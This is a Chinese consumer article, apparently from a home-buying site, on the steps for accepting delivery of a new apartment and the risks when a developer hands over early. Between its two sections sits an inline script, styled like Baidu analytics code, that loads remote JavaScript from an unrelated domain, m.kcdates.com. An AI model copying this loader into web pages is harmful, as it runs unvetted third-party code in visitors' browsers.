关于商品房交房手续的几个步骤

人们买到房后盼了很久房子终于盖好了，马上交房了，很多人都不知道商品房交房手续是什么，很多的人想的都是有了房子要如何装修才更好更漂亮，不注意商品房交房手续这个问题，其实这个问题大家应该知道一些，毕竟涉及到交房验收和自己的权益。关于商品房交房手续的几个步骤1.通知：很好理解就是房子盖好了，售楼处负责给买房的业主打电话或者发信息告诉房子可以准备办理交房手续了，通知业主提前准备好物业，取暖等费用。2.验房：顾名思义就是业主对开发高盖好的房子进行验收，看看房子有就有什么问题，是不是按合同上的要求盖的房子，还有就是需要开发商提供住建局等地方的正式验收标准合格，因为业主收房的时候只会看到房子的外观，如门窗安装的是不是不缝隙，墙面地面是不是有问题，而验房真正重要的是房子的抗震能力等重要问题。3.开发商必须提供《住宅质量保证书》和《住宅使用说明书》根据《商品住宅实行住宅质量保证书和住宅使用说明书制度的规定》等相关法规，商品房交付使用时，应当提供住宅质量保证书和住宅使用说明书。该法规规定,《住宅质量保证书》是开发商对销售的商品住宅承担质量责任的法律文件，可以作为商品房预、出售合同的补充约定，与合同具有同等效力。开发商应当按《住宅质量保证书》的约定,承担保修责任。开发商不提供的，购房者可以拒签房屋交接书。4.签订房屋交接书：上面说的三点都没有问题就可以签了，交接书上必须明确每个项目，除了问题到底责任该谁承担，如果说的不清楚业主可以完全拒签。买房是大事，交房要明明白白的，多学习商品房交房手续，只有早点熟悉了商品房交房手续的几个过程，这样在交房的时候才可以维护好自己的权益。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

开发商提前交房 当心幸福背后的陷阱

现在对于交房，大家都会声讨开发商延期交房，其实有些时候开发商也会有提前交房的情况出现，但开发商提前交房好吗，土巴兔小白牛带大家去了解下：开发商提前交房的好处：一般来说建筑封顶以后，电梯-水电-门窗-内部公共区域-外部公共区域-实测面积-抹灰-外立面清洗还有很多工作要做，这个要看开发商自己的开发计划了，处于预算计划和成本考虑一般来说不会提前交房，如果是营销需求或者其他变化在资金和工程进度允许的情况下，也可能提前交房，而且提前交房可以解冻开发商在政府的期房预售押金，对开发商的资金流转也是有一定好处的。而对我们业主来说，可以提前拿到房子，对房子的规划装修也有比较充足的时间安排等等，也是好事一件。开发商提前交房陷阱：开发商提前交房是比较少的，所以最担心的就是开发商在交房条件没有达到的情况下利用购房者想快点儿收房的心理偷工减料，用“提前交房”掩盖质量问题，使业主们接受质量不合格的房子，而业主们如果签字收了这种质量有问题的房子，就等于放弃了法律赋予的权利，最终损害自己的利益，也让开发商逃脱了责任。开发商提前交房对策：开发商提前交房一定要做好交房验房，目测难以检验房屋质量，尤其不要被开发商提供的简单装修所蒙蔽。“天下没有免费的午餐”，无论开发商开出如何优惠的条件，都要坚持正确的收房流程：首先要查验《建筑工程竣工备案表》、《房屋土地测绘技术报告书》、《住宅工程质量分户验收表》等重要文件，手续证件不齐全的房屋不管什么理由，都要坚决不能接受，不要给开发商可乘之机;然后验收房屋，遇到质量问题要求开发商进行整修，短期内难以完成的，要达成书面协议，与开发商约定好整修方案和时间;最后签收房屋、签订前期物业合同。如果是房屋工程进度允许，交房手续齐全的开发商提前交房，对业主来说也是好事一件，但如果是偷工减料的提前交房大家就要小心了，最好还是等按时交房，按照合同办事。推荐阅读：提前交房申请要注意什么提前交房申请单怎么写提前交房协议书范本提前交房必看最新验房师价格最详细验房师验房步骤